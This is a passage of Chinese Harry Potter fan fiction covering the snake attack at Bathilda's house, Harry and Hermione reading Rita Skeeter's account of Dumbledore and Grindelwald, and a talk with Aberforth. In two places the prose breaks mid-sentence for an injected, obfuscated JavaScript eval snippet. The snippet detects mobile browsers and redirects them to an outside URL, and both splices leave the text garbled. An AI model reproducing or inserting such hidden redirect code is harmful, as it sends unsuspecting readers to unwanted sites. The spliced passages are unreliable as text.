“巴沙特小姐?”哈利又喊了一遍,他拿着照片走到巴希达的身边,壁炉里的火焰燃烧起来了,巴希达听到他的声音抬起头来,她看上去像一个死人。 “这人是谁?”哈利举着照片问她。 她庄重地凝视着照片,然后再凝视着哈利。 “你知不知道这人是谁?”他用比平常更慢更响的声音又重复了一遍。“就是这个人,你知道他是谁吗?他叫什么名字?” 巴希达依旧没有回答。 “为什么让我们跟你到这儿来,巴沙特夫人……小姐?”赫敏提高声音问道,“你想告诉我们什么事情吗?” 可巴希达似乎根本没有理会赫敏讲的话,她猛一转头向大厅回望过去。 “什么意思?要我们离开?”哈利努力理解着巴希达的动作。 她把动作重复了一遍,但这次是先指着哈利,再指着自己,最后指着天花板。 “好吧……赫敏,我想她希望我们跟她上楼。” “好,”赫敏回答,“我们走。” 但是赫敏刚迈开脚步,巴希达就拼命地摇着头,再次指着哈利,然后指着自己。 “她希望我单独跟她去。” “为什么?”赫敏大声问道,她的声音在烛光闪耀的房间内显得尖锐而清晰,巴希达轻轻摇头。 “也许邓不利多让她把剑给我,而且只给我?” “你认为她真的知道你是谁?” “是的,”哈利说,与巴希达那双混浊的眼睛对视着。“她也知道相片中的人是谁。” “那好,但是快一点,哈利。” “带路吧,”哈利对巴希达说。 巴希达颤巍巍地带着哈利向门走去。哈利回头对赫敏笑了笑,让她放心,但他不知道她有没有看见。赫敏抱着手臂站在烛光下脏兮兮的房间中,看着书橱。哈利走出房间,趁赫敏和巴希达都没注意的时候,把金发小偷的银框相片放进了口袋。 狭窄的楼梯坡度很陡,哈利向前半伸着手,以防巴希达从他上面跌倒,那看起来确实很有可能。她有些气喘,慢慢走到了楼上,左拐,带哈利进入一个天花板很低的房间。 房间黑黑的,气味也糟透了。哈利刚看出床下伸出来是一只夜壶,巴希达就关上门,他们陷入一片黑暗。 “荧光闪烁。”哈里说道,他的魔杖发出光亮的瞬间,哈利被面前的巴希达吓了一跳,就在那黑暗的几秒钟里,巴希达走到了他身旁,而哈利并没听见她走过来。 “波特?”她低声说道。 “对,是我。” 她缓慢地点了点头,显得很庄重。哈利觉得自己心跳得更快了,不安的情绪开始扩大。 “你有什么东西要给我吗?”哈利问道,但她好像被哈利发光的魔杖分散了注意力。 “你有什么东西要给我吗?”哈利又问了一遍。 巴希达闭上眼睛,就在那个时刻,几件事情同时发生了:哈利的伤疤如针扎般的疼了起来,黑暗发臭的房间突然从眼前消失。 现在他是伏地魔,他感到强烈的兴奋,用低沉冷酷的蛇佬腔命令道:抓住他! 哈利摇晃着站在原地,黑暗发臭的房间又一次出现在他的身边,他不知道刚才发生了什么事情。 “你有什么要给我吗?”哈利第三次问道,声音提高了许多。 “就在那边,”她轻声说,手指着拐角。哈利举起他的魔杖,看见拉着窗帘的窗户下面有张乱糟糟地堆满衣服的桌子。 这次她没再带他过去。哈利举着魔杖,侧身从巴希达和床之间走过去。他不希望巴希达离开自己的视线。 “在哪里?”他摸着那张桌子问道,桌子上堆满了像是脏衣服一样的东西。 “那里,”她指着那堆乱七八糟的破烂说道。 就在他转过头,想要在那堆破烂里面找到一把镶了红宝石的剑的时候,哈利的余光看到巴希达怪异的发生了变化,他惊慌地转过身,恐惧几乎让他瘫痪:他看见那个年老的身体倒在地上,一条巨大的蛇从她脖子处钻了出来。 他刚扬起魔杖就被蛇一口咬住,这前臂上强有力的一咬使他的魔杖脱手飞向了天花板。旋转的魔杖发出光芒照得房间让人头晕目眩,然后光熄灭了。蛇尾猛地扫过他的腹部,几乎让他无法呼吸。他向后跌倒在堆满衣服的桌子上,一头栽在那堆旧衣服里面…… 哈利在桌上向旁边一滚,勉强地躲过了再次刷过来的蛇尾,当他着地时,玻璃碎片像下雨一样劈头盖脸地落下。他听到楼下的赫敏大叫道:“哈利?” 没时间吸入足够的空气去回答赫敏的喊声了,一条又重又滑的东西把他撞到地板上,从他的身体上有力地滑过…… “不!”他喘着气说,感觉自己被固定在了地板上。 “很好,”声音在虚无中指挥道,“很好……抓住他……抓住他……” “魔杖……魔杖飞来……” 但是什么事情也没有发生,他只能用手来努力阻止那条蛇在他身体上越捆越紧,肺部的空气都快被挤出来了,一条冰冷的、蠕动的东西离他的心脏只有几英寸远,他脑子里满是寒冷的白光,所有的意识都湮灭了,他的呼吸渐渐微弱下来,只听见远处的脚步声,一切都在离他远去…… “放开他,离开他。” 就在哈利以为他已经窒息而亡的时候,他听见另一个熟悉的声音,缺氧的大脑让他无法辨认那是谁,心脏似乎是在他胸膛外面砰砰作响,他莫名觉得一阵狂喜,他在飞翔,不需要飞天扫帚或者夜骐…… 他突然醒了,周围仍旧是一片黑暗。 纳吉尼不知道为何已经松开了他。 他挣扎着爬起,凭借楼下的微光看到蛇正在和赫敏搏斗。赫敏一声尖叫猛跳到一旁,她的粉碎咒击中了拉着窗帘的窗子,窗子立刻被击成碎片,外面寒冷的空气马上充斥着屋内。哈利赶紧矮身躲避这又一阵玻璃渣的袭来,他的脚下一滑,像是踩到了铅笔一样的东西……是他的魔杖…… 他弯腰捡起魔杖,那条蛇正在用尾巴抽打着房间的各个地方。看不到赫敏在哪里,哈利不由得想到了最坏的结果。 然而突然随着一声巨响,一道红光闪过,蛇飞了起来,一圈圈盘绕着向天花板飞去。哈利意识到房子里来了其他的帮手,但他谁也看不见。 他举起魔杖,就在那时,他的伤疤开始剧烈疼痛,比以前这么多年的任何一次都要疼痛。 “他来了!不!他来了!” 他大叫叫喊的时候,那条蛇落了下来,一边发出疯狂的咝咝声,一边撞倒了靠墙的架子,碎瓷片飞得到处都是,一切都乱成一团。哈利跳到床上,紧紧抓住那团黑色的阴影,那是赫敏。 哈利把赫敏从床上拽过来,赫敏疼痛的尖叫着,而那条蛇又一次直起身子,哈利知道,比蛇更可怕的东西就要来了,也许已经到了门外,他的头疼的快要从伤疤处炸开了。 哈利拖着赫敏连跑带跳地躲开,蛇发出响亮的声音,又要袭击他们。赫敏尖叫道:“障碍重重!”她的咒语飞过房间,把大衣橱的试衣镜炸开了花,碎片在他们身后飞舞着。哈利感觉热浪烤焦了他的手背,碎片割伤了他的脸颊,他拉着赫敏从床上跳到了那张坏了的桌子上,然后直接跳出了没玻璃的窗子。他们在半空中时,还能听见赫敏的尖叫在夜色中回响…… 又有人进入了房间,是福林特! 哈利用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377411|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模糊的视线看见了他手中握着的红宝石银剑——格兰芬多的宝剑挥向大蛇。 “你杀了我老师!你这条畜/生!” “滚!快滚!阿瓦达索命!” 他来了!伏地魔来了!哈利意识模糊地想。 “除你武器!”从房间阴影里又发出了一个声音,魔咒被挡掉了。 他的伤疤几欲炸开,他就是伏地魔,他跑过那个发臭的房间,秃顶的男人侧歪着,瘦小的女人正在带着意识模糊的男人躲避着巨蟒的攻击,然后他看见福林特手中举着宝剑,手起刀落,大蛇被砍成了两段。 伏地魔狂怒地举着魔杖……他必须先杀了他……然后,炫目的红光和绿光遮蔽了他的视线……福林特幻影移形离开了,他用修长白皙的手紧抓着窗台,看着那个秃顶的男人和那个瘦小的女人扭曲着身体然后在他眼前消失,他失去了自己的宠物蛇,失去了自己的魂器,有人阻止了他,他什么也没得到。他的怒吼划过黑暗的花园,盖过圣诞节教堂的钟声…… “不!” 哈利不知道自己是否还在逃跑,他看见了十四年前那个万圣夜发生的事…… “不……” 他还是伏地魔,现在他站在巴希达家的破窗子旁,沉浸在他极为挫败的记忆中。在他脚边,被砍成两段的大蛇倒在自己的血泊中,瓷器碎片和玻璃碎片满地都是……他朝下方看去,看见了那个已死之人…… “不……” “哈利,都没事了,你没事了!” 他俯身拾起摔坏的相框,没错,老魔杖曾经的主人,那个出言挑衅他的人,报应最终回到了他身上——现在,他才是老魔杖的拥有者。 “不……我把它掉在地上了……我把它掉在地上了……”哈利懊恼地尖叫,但没人听到他的声音。“伏地魔比我先知道了一切。有关于死亡圣器的秘密。” “哈利,没事了,醒醒,快醒醒!” 没错,他是哈利……哈利,不是伏地魔…… 他睁开了眼睛。 “哈利,”赫敏轻声说。“你感觉……还好吗?” “是的。”他撒谎道。 他在帐篷里,躺在下铺上,盖着一堆毯子。他从周围的静谧中,以及帆布帐篷顶部透出的光线中判断出现在已经几乎是黎明了。他全身都是汗,连床单和毯子上也有汗。 “我们逃出来了。” “是的,”赫敏说。“现在这个地方隐蔽得连福林特也找不到我们……我用了悬停魔咒来把你放到床铺上。我没法抱起你,因为你刚才……嗯,你刚才非常……” 她棕色的眼睛下面有了紫色的阴影,而且他注意到她手里拿着一块海绵,原来她刚才一直在替他擦脸。 “你刚才病了,”她把话说完。“病得很厉害。” “我们什么时候离开那里的?” “几个小时之前,现在快到早上了。” “我刚才是不是……神志不清?” “不完全是,”赫敏困难地说,“你一直在大喊大叫或者呻吟或者……”她说话的口吻让哈利觉得十分不安。他刚才做了什么?像伏地魔一样大喊出咒语,还是像婴儿车里的婴儿一样嚎哭? 十四年前那个晚上,那幢房子里有五个人,他,他的父母,入侵的伏地魔,还有试图阻止伏地魔的凯瑟琳,她为什么没有死? 邓布利多说,除了他,没有人能躲过伏地魔的索命咒,但是她也是个例外。 他躺回到枕头上,看着赫敏痛苦灰暗的脸。 “我们不该去戈德里克山谷的,是我的错,全是我的错。赫敏,对不起。” “不是你的错。我也想去的。我真的以为邓不利多已经把剑放在那儿给你了。 “是啊,嗯……我们理解错了,是不是?或许罗恩是对的,最起码我们应该和凤凰社的人沟通一下。”哈利想到了福林特斩杀了纳吉尼,这么说来,他们又摧毁了一个魂器……但是他的问题太多了,思绪被紧紧缠绕在了一起,拧成一个死结。 “哈利,发生了什么事?她把你带上楼梯后发生了什么事?蛇是不是藏在什么地方?它是不是马上出来咬死了她然后袭击你?” “不。”哈利回答。“她就是那条蛇……或者说蛇就是她……都一样。” “什……什么?” 他闭上了眼睛。他仍然可以在自己身上闻到巴希达的房子的气味,这让整个事情清晰得恐怖。 “巴希达一定是死了一段时间了,那条蛇在……她身体里面。神秘人把它放在戈德里克山谷等着我们。你是对的,他知道我会回去。” “蛇在她体内?” 他又睁开了眼睛,赫敏看起来感到很厌恶很恶心。 “卢平说过世界上有我们无法想象的魔法。”哈利说道。“她不和你说话,因为它是蛇佬腔,我当时没有意识到,但是我当然是能听懂的。我们一走进房间,蛇就向神秘人通报了消息,那些都在我的脑子里发生了,他很高兴,很快就会赶过来。 上楼之后,她变形了,变成了蛇,然后袭击了我。”他低下头看着伤口,“它并不是要杀了我,只是拖住我,等待神秘人的到来……但是有人让它放开我。” “谁?” “凯瑟琳。”哈利说。“我听到了凯瑟琳的声音,我不确定是不是在我脑海里,还是我即将窒息时的错觉。” 赫敏瞪大了眼睛。 “但这说得通。她可能和神秘人待在一起。也就是说,昨晚房间里有五个人,外加纳吉尼。” 哈利不愿意再谈这个人,他掀开被子想要坐起来。 “哈利,别动,你需要休息!” “需要休息的人是你,我无意冒犯,但是你看起来很糟糕。我没事,我来值勤。” 他脱下了汗湿透的T恤衫,然后从赫敏手中拿回自己的魔杖,忽然想起了一件加可怕的事情。 “隐形衣!隐形衣去哪里了?” 她没有回答,只是看着他。 “我们把隐形衣丢在巴希达的房子里了?” 她咬着嘴唇,眼睛里充满了泪水。 “哈利……” “隐形衣在哪里?” “我想是的。你在进门的时候脱下了隐形衣,然后它被放在了一楼的衣架上。” 伏地魔发现了吗?应该没有,不然他刚才应该会看到。 88.chapter86 太阳出来了:哈利头顶上是一片纯洁无色的广袤天空。但这对他此时所处的困境无关紧要。哈利坐在帐篷门口,深吸了一口新鲜空气。能像这样活着,在闪着光芒的白雪皑皑的山坡上看日出,应该是世界上最美好的事了,但是他却无心欣赏这些。他还沉浸在失去隐形衣和无限闪回他父母被杀死的那个晚上——凯瑟琳也在,但他们谁也没能阻止那场悲剧,牺牲的只有他父母。 他俯视着被白雪覆盖的山谷,远处教堂的钟声打破了沉寂。 此时他对邓布利多的愤怒如火山爆发,怒火在他心里灼烧着,并取代了其他一切情感。绝望迫使他们让自己相信答案就在戈德里克山谷,相信他们应该回去――相信那是邓布利多留给他们的仅有的一些秘密线索;但是没有地图,没有计划。邓布利多让他们独自在黑暗中摸索,和未知的无法想象的对手斗争,孤立无援:没有任何原因,而且付出了惨重的代价。 而伏地魔已经得到了所有信息。 “哈利?” 赫敏看上去很害怕哈利会用她的魔杖来诅咒她。她的脸上都是泪痕,她在哈利身后蜷伏着,握着两杯热茶的手在发抖,在她的胳膊下还夹着个什么大东西。 “谢谢,”哈利说,接过一杯热茶。 “我能跟你说会儿话吗?” “不,”他这么说因为他不想伤害赫敏。 “哈利,如果你想知道相片上的那个人是谁——好吧――我有这本书。” 她胆怯的把书放到他的大腿上。是一件简装的书――阿不思·邓布利多的生平与谎言。 “在哪……你怎么会有这本书……?” “我是在巴希达的起居室找到的,就在那放着……这张纸在放在书的最上面。” 赫敏大声地读着尖刻的,带有讽刺意味的开头几行。 “‘亲爱的巴利,谢谢你的帮助,这是书的复制版,希望你会喜欢它。可能你不记得了,但你确实讲了很多事情。丽塔。’我觉得在真正的巴希达活着的时候这书就已经在这里了,但也许她没有仔细读过?” “嗯,我想也是这样。” 哈利低头看着邓布利多的脸,感到一阵狂野的快乐:现在邓不利多管不着了,他将知道那些他永远都不会对他提起的事。 “你还在生我的气,对吗?”赫敏说;他抬头看到她的眼睛又湿了,就知道自己的怒气一定是表现在脸上了。 “不是的,”他静静地说。“不,赫敏,我知道那是个意外。你试图让我们活着离开那里,你实在是太好了,如果那时你没有帮我,我早就死了。” 他向赫敏挂着眼泪的笑脸报以微笑,然后把注意力都放在了书上。书脊还很硬,显然从未被打开过。他飞快地翻着书页寻找照片,立刻就找到了一张――年轻的邓布利多和他帅气的伙伴因某个早就被遗忘了的笑话大笑着。哈利的目光停留在了说明上。 阿不思·邓布利多,在母亲去世不久后和他的朋友盖勒特·格林德沃。 哈利目瞪口呆地看了最后几个字很久――格林德沃。他的朋友格林德沃。他看了看在一旁的赫敏,她还凝视着那名字,似乎无法相信自己的眼睛。慢慢地她转向哈利。 “格林德沃!” 无视其他的照片,哈利翻起书来想要再次找到那个让他窒息的名字。他很快就找到了并且迫不及待的读起来,但是根本看不懂:必须要翻前面的内容才能知道在说什么,最终他找到这么一章:“伟大的利益。”他和赫敏马上开始读了起来: 眼看就要到他十八岁的生日了,邓不利多带着一系列令人瞠目的光辉荣耀离开了霍格沃兹――全优的学习成绩,学生会主席,巴纳巴斯芬克利特殊贡献奖得主,驻威森加摩的英国青年魔法师代表,开罗举行的国际炼金术会议上被授予的开拓性贡献奖金奖等等。按照原定计划,他本打算毕业后和他在学校时结识的好友,绰号“狗喘”的埃非亚·多戈一起去进行一次伟大的旅行。 但就在他们两个在伦敦的破釜酒吧准备前往希腊旅行的前一天,猫头鹰却带来了邓不利多母亲逝世的噩耗。“狗喘”多戈,这个拒绝接受本书作者采访的家伙,向公众介绍了接下来所发生的悲伤情景。他描述说,坎德拉的死无异于一场晴天霹雳,而深受打击的邓不利多也毅然放弃了那次酝酿已久的长途旅行。 邓不利多随后马上动身返回他在戈德里克山谷的家,赶去“照顾”他那尚在年幼的弟弟和妹妹。但事实上,他又给了他们多少真正意义上的照顾呢? “他绝对是个让人头痛的家伙,那个阿不福思,”当时家住戈德里克山谷边的艾力德·史密克描述说,“他变得越来越没教养了,诚然,你会很同情这样一个父母双亡的孤儿,而他整天头顶着那破帽子的样子更会让你觉得他可怜。但我并不认为阿不思对此觉得有什么不妥。话说回来,我根本就很少见到他们兄弟俩在一起。” 如果此时的阿不思没有在照料他那年幼的弟弟的话,那他又在干什么呢?我想,那个最可能的答案就是,他在一如既往的看押着他的妹妹。因此,虽然软禁阿莉安娜的首犯已经去世,但邓不利多的出现,却并没有让她的处境得到丝毫的改观。她的存在依旧只有像“狗喘”道奇这样极少数的外人知晓。而其他更多的人只是被“她身体欠佳”这样的借口所搪塞。 另一个知道内情的家庭是巴希达·巴沙特一家,没错,就是那个在戈德里克山谷隐居多年的历史学家,福洛林·福林特的老师。 坎德拉,当然,她在刚搬到这个镇上的时候甚至没有理睬巴希达对他们家到来所表示的欢迎,然而,许多年后,巴希达给尚在霍格沃兹读书的阿不思派去了一只猫头鹰,就他创作的在《今日变形》上发表关于物种转化的论文进行一些交流。恰恰就从这次接触开始,她和邓不利多一家渐渐熟悉起来。直到坎德拉去世时,巴希达仍是戈德里克山谷中仅有的和邓不利多太太关系尚可的人。 不幸的是,巴希达当年的风采现在已不复存在,“她把火生了起来,但锅里居然还什么东西都没放。”艾弗·狄龙斯贝告诉我说。还有,艾力德·史密克略显粗鲁的跟我描述,“她现在迟钝地就像个被松鼠藏起来的坚果。”尽管如此,我还是通过各种方法从她那里搜集到了足够多的细节资料,使我能够将这整个事件的真相串联起来。 像巫师界的其他人一样,巴希达把坎德拉的突然去世归结于一场魔咒走火,在以后的几年里,阿不思和阿不福思也是这么说的。巴希达还提到了邓布利多家的阿莉安娜,说她“身体虚弱”而且“弱不禁风”。然而在这个问题上,我对巴希达用的吐真剂让我了解到了更有意思的东西,因为她,而且只有她知道阿不思·邓布利多生命中所有那些不为人知的秘密。而这些首度批露的内幕,必将使所有他的崇拜者对他产生质疑:他对黑魔法的憎恨,反对镇压麻瓜,甚至对家庭的奉献,所有这些都只是假象。 那年夏天,当邓布利多回到戈德里克山谷的家以后,就成为了一个孤儿家庭的支柱,巴希达·巴沙特经常把阿不思接到她家里来玩。在那里,他第一次看到了她的侄孙,盖勒特·格林德沃。 格林德沃的名字应该很著名了:一直都位于最危险的黑巫师名单的前列,而他没有排在名单首位的原因,只是因为后来“神秘人”的出现,抢走了本应属于他的这份殊荣。格林德沃的魔爪没有从未触及到英国,所以他发迹的过程也就并不广为人知。 格林德沃毕业于德姆斯特朗,那是一座因纵容黑魔法而臭名昭著的学校,他像邓布利多一样年纪轻轻就表现出了极高的魔法天赋。然而他并没有把精力耗在追求获得荣誉和奖章上,他对此毫无兴趣。在他16岁的时候,德姆斯特朗发现不能再对盖勒特·格林德沃乱七八糟的实验熟视无睹了,于是把他开除了。 迄今为止,可考证的关于格林德沃的接下来的记录是他“用几个月的时间周游各地”。而现在可以推测出格林德沃选择了去拜访他住在戈德里克山谷的姑婆,而他在那里收获的,相信很多人听到后会大吃一惊,不是其它东西,正是和阿不思·邓布利多建立的亲密的友谊。 “在我眼里他绝对是一个迷人的男孩,”巴希达嘀咕着,“无论他后来变成了什么样。很自然的,我把他介绍给了可怜的阿不思,这个过早的品尝了人世沧桑的孩子。这俩男孩一见如故。 就是这样的。巴希达给我看了一封信,是在夜深人静时阿不思·邓布利多寄给盖勒特·格林德沃的,一直保存在她那里。 “是的,他们认识后就整天有聊不完的话题――两个才华横溢的年轻人,他们相见恨晚――我经常听到有猫头鹰从盖勒特的窗户飞进飞出,那肯定是和阿不思在通信!一定他又有了什么新的点子,而且还迫不及待的想和盖勒特分享。” 那么他们的新点子又是什么呢?阿不思·邓不利多的忠实拥趸们也许会觉得这些消息耸人听闻,那没关系,就让我们一起来看看他们心中那位十七岁的英雄在和他的新朋友讨论的话题吧(原信的复制品请参见463页) “盖勒特―― 你对于巫师界统治是“为了麻瓜自己好”这一观点,我觉得是一个关键点。是的,我们被赋予了权力,而且毫无疑问的,这个权力可以使我们制定规则,但同样要求我们拥有对规则的责任感。我们必须强调这一点,它是我们事业的基石。当我们观点有冲突的时候――那是一定会有的,它必须是我们辩论的基点。我们要紧紧抓住“为了伟大的利益”这一信念。从这点出发,如果我们以后遇到抵抗,我们只需使用武力镇压而非别的什么,而且,这是很必要的。(这就是你在德姆斯特朗犯的错误!但是我不会责怪你,因为如果你没被开除,我们永远不可能认识。) 阿不思” 阿不思的崇拜者肯定会惊讶万分,这封信制定了秘密的法令,并建立了巫师界对麻瓜的统治规则;这对于那些一直为邓布利多大唱高调的人是多么沉重的打击――他们还把邓布利多当作麻瓜权益最伟大的捍卫者!在这确凿的证据前,那些有关如何维护麻瓜权利的冠冕堂皇的言辞又显得多么的苍白无力!邓布利多的形象是多么的可鄙,当他本应为母亲服丧并照顾弟妹的时候,他却正忙于策划如何扩大他的权利! 毫无疑问,那些最后的拥护邓不利多的卫道士可能会说他不会,至少,他肯定是在经历了思想斗争之后,改变了他的想法,从而并没有付诸行动啊。然而,接下来的事实更加骇人听闻。 在他们那新份友谊建立仅仅两个月后,邓布利多和格林德沃就分开了,从此再没有见面,而他们的再次相会居然就是那场举世闻名的世纪大决斗(详情请参看22章)。是什么让他们反目成仇,不共戴天?是邓布利多良心发现吗?还是他告诉格林德沃他不想再进行他的计划了?唉,都不是。 “我认为是可怜的阿莉安娜的死导致的,”巴希达说。“她的死是一个沉重的打击。事情发生时盖勒特正住在这里,他浑身颤抖的跑到我房间里,告诉我他明天想回家。神情非常难过。所以我给了他门钥匙,那就是我最后一次见到他。 阿莉安娜的死让阿不思濒临崩溃。这对于兄弟俩来说太可怕了。他们除了彼此以外失去了所有亲人。心性变得暴躁也就不足为奇了。阿不福思责怪阿不思,就像人们在可怕的情况下会做出的那样。但毕竟阿不福思说话一直都有点疯,这可怜的孩子。 但即便如此,他在葬礼上打断阿不思的鼻梁也实在是有些过分。坎德拉如果看到她的两个孩子打成那样会多么心痛,更何况还是在她女儿的尸体旁边。盖勒特没有呆到葬礼实在是很可惜……不然,他至少能宽慰一下阿不思…… 这场棺材旁的激烈争吵,只有那些参加阿莉安娜?邓布利多葬礼的人才知道,他们产生了些疑问。阿不福思·邓布利多到底为什么因为他妹妹的死而不断谴责阿不思?是不是像“巴蒂”为他辩护的那样,仅仅是悲伤过度?或者还有更深层的原因导致他突然爆发?格林德沃由于对同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377412|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学近乎致命的攻击而被德姆斯特朗开除,又在这个女孩神秘死亡之后匆匆从这里逃离,而阿不思(由于羞愧或害怕?)也再也没去见过他,直到被巫师界反复恳求而被迫迎战。 此后邓布利多和格林德沃似乎都没再提及那份短暂的少年时代的友谊。然而,毫无疑问,邓布利多在经历了五年的生离死别后,对盖勒特·格林德沃的攻击迟疑了。是不是那份挥之不去的友情或者害怕他们曾经是最好的朋友的事情暴光让邓布利多犹豫?是不是仅仅是因为邓布利多不人心亲手把他曾经情同莫逆的好友逮捕? 那么神秘的阿莉安娜究竟是怎么死的?她是不是某种黑魔法仪式无意中的牺牲品?她是不是偶然发现了她不该发现的事情,比如这两个年轻人为了攫取名誉和权利的勾当?有没有可能阿莉安娜·邓布利多就是那“为了伟大的利益”的第一个牺牲品? 这一章在这里结束了,哈利继续寻找着。赫敏比哈利先读完文章。她将这本书从哈利的手枪了过来,看到他的表情后有点惊慌,看都没看就把书合上了,好像想掩藏什么不妥的内容。 “哈利――” 但是他摇了摇头。有种信仰在他体内倒塌了;就像罗恩离开后他的感觉一样。他一直相信邓布利多,相信他就是善良和智慧的化身。一切都不复存在了:他还能承受失去更多么?凯瑟琳,罗恩,邓布利多,隐形衣…… “哈利。”她看起来好像知道了他的想法。“听我说。这……这不是一本很好的书……” “是的,你可以这么说……” “……但是别忘了,哈利,这是丽塔·斯基特写的。” “你读过了那封给格林德沃的信了,对吧?” “是的,我……我读了。”她犹豫着,看上去很不安,用冰冷的双手捂着她的茶杯。 “我想这只是听起来最糟糕的部分而已。我想巴希达认为那仅仅是谈话,但是‘为了伟大的利益’成为了格林德沃的信条,成为他后来犯下残暴罪行的正当理由。而且……从这点看……的确像是邓布利多的话给他的启示。他们说的‘为了伟大的利益’甚至刻在了纽蒙加德的入口处。” “纽蒙加德是什么?” “就是格林德沃建造的用来关押他的反对者的监狱。他自己就是死在那的,当邓布利多抓住他的时候。无论如何,这是……这是一个可怕的想法,邓布利多的主意帮助格林德沃达到了他的目的。但是另一方面,即使丽塔也不能撒谎说他俩在那个夏天只是认识彼此,毕竟他们还年轻,而且……” “我就知道你会这么说,”哈利说。他不想让自己对她发脾气,但是他现在很难让自己的声音听起来若无其事。“我知道你会说‘他们还年轻’。他们那时和咱们现在的年龄一样。看看现在的我们,冒着生命危险去对抗黑暗势力,可再看看他,和他的新朋友同流合污,策划着建立他们对麻瓜的统治。” 他再也控制不住自己的情绪:他站起身来回走着,想要发泄一些愤怒。 “我不是想这些有关邓布利多东西辩护,”赫敏说。“所有‘权利法则’都是幌子,是‘魔法才是力量’的重现。但是哈利,他的母亲刚死,他一个人在房间里承受这些……” “一个人?他不是一个人!他有弟弟和妹妹为伴,他还把他那个哑炮妹妹关了起来……” “我不相信,”赫敏也站了起来,争辩道,“无论他们怎么说那个女孩,我都不相信她会是个哑炮,我们认识的邓不利多决不会,决不会允许――” “我们不也以为自己认识的邓不利多决不会企图用武力去征服麻瓜吗!” 哈利怒吼着,他的回音在空旷的山野回响,惊起不少山鸟,在迷蒙的夜空中鸣叫盘旋。 “他变了,哈利,他已经变好了!这很明显!也许在他十七岁时确实曾沉迷于此,但他耗尽之后的毕生精力来与黑魔法作斗争。是邓不利多击败了格林迪沃,是他一直致力于保护麻瓜和维护麻瓜出身巫师的权利,是他从一开始就与神秘人做着斗争,也是他最终为能击败神秘人而牺牲!” 丽塔的书就放在他俩之间,书上插图里的阿不思·邓不利多朝着他们落寞地微笑着。 “哈利,我很遗憾,但我想你如此愤怒的真正原因其实是邓不利多从没告诉过你他的过去。” “也许吧!”哈利爆发了,他猛地举起双臂,像是要把他无边的愤怒高高举起或者是在他幻想的重压之下保护自己,“看看他怎么跟我说的吧,赫敏:冒险牺牲吧,哈利,再来一次,再来一次,再来一次!别指望我给你解释任何东西,就去拼了你的小命相信我,相信我知道我在做什么,即使我不信任你你也得相信我!永远别想知道真相!永远别想知道!!” 哈利的声音已经在这歇斯底里的喊叫中变得沙哑,看着跟自己一样脸色煞白的赫敏,哈利突然觉得,在这广阔的天地之间,他们是那么渺小。 “我真的不知道邓不利多曾经关心过谁,赫敏,但那个人绝对不会是我。这不是什么爱,只不过是他留给我的一个烂摊子,他宁愿把自己的真心话同盖勒特·格林德沃和凯瑟琳·里德尔分享,而不是我。” 哈利捡起他刚刚扔到雪里的赫敏的魔杖,重新坐到了帐篷口。 “多谢你的茶,书我看完了,你也快回去暖和一下吧。” 赫敏犹豫了一下,但实在不知该说些什么,她拿起书从哈利身边钻进帐篷回去了。临走前,她用手轻轻梳理了一下哈利的头发。哈利闭上眼睛,感受着她的触摸:他多么希望自己能够明白一切。 邓布利多是否在乎过自己? 福林特杀死纳吉尼时的格兰芬多宝剑从何而来? 他的隐形衣是否还被留在巴希达的住所? 阿莉安娜,凯瑟琳,默默然……什么是默默然? 以及……凯瑟琳究竟是怎么回事?为什么她杀死了邓布利多却愿意帮助他?究竟是谁为她在戈德里克山谷立了墓碑?拉文克劳的冠冕,被摧毁了吗? 89.chapter87 哈利、赫敏和罗恩三人在得知死亡圣器的事情后,决定返回学校。在猪头酒吧,阿不福思破天荒地把追击他们的食死徒拦在了门外。 …… “所以,当凯瑟琳将魔杖对着他的时候,他看到的是他妹妹。他早已知道无论是复活石还是魔法石,都无法让人死而复生,他选择用这种方式补偿阿莉安娜?” 阿不福思把脸埋进他那苍老而嶙峋的双手,陷入了沉思。过了很长时间,他终于又开口了。 “波特。每个人身上都承担着不同程度的责任。我们把对妹妹的亏欠转移到了凯瑟琳身上,但也无形之中转移给她了更大的责任。你也一样。” 哈利的心里像是被尖冰刺穿了一样。 “什么责任?”赫敏问。 哈利想起了四年级结束时,邓布利多与他的长谈。他为什么驳回了他五年级的级长申请,因为他身上的担子够多了。 他的责任?凯瑟琳的责任?究竟是什么。 是从出生起,就命定的责任。 属于他,也属于她。 “神秘人会不会取得最终的胜利,全靠我们所有人现在的努力,我们应该把凤凰社重新组织起来。”阿不福思说道。“而不是像现在这样,沉浸在过去的悲剧中,互相指责过去的错误。波特,人有过错,是过了,而不是错了。” 哈利怔怔地看着阿不福思。 他一次认为阿不福思与报纸上,还有丽塔·斯基特书中所写的形象完全不一样。他第一次理解了作为兄弟,作为血亲,必然会有相似的地方。 他看着面前这个有着和邓布利多一样的蓝眼睛、银白色胡须的高瘦的老人,他与邓布利多的身影有些重合了。 “波特,我哥哥很清楚怎样才能打败神秘人,现在他把这些知识传给了你和凯瑟琳。你们要一直继续下去,直到成功——或者死去。西里斯,穆迪,还有凤凰社的所有成员,他们不只是为了保护你而加入凤凰社,更是为了我们一致的目标。” 阿不福思动了动身子。他抬起右手的魔杖,一簇火焰从杖尖冒出来——那是一只年幼的凤凰。 哈利看着那只雏鸟涅槃重生,然后靠着他的手腕流下眼泪,他的伤口立刻愈合了。 “所以,其实您早已原谅你哥哥了?”哈利想起了多戈写在邓布利多讣告里的话: 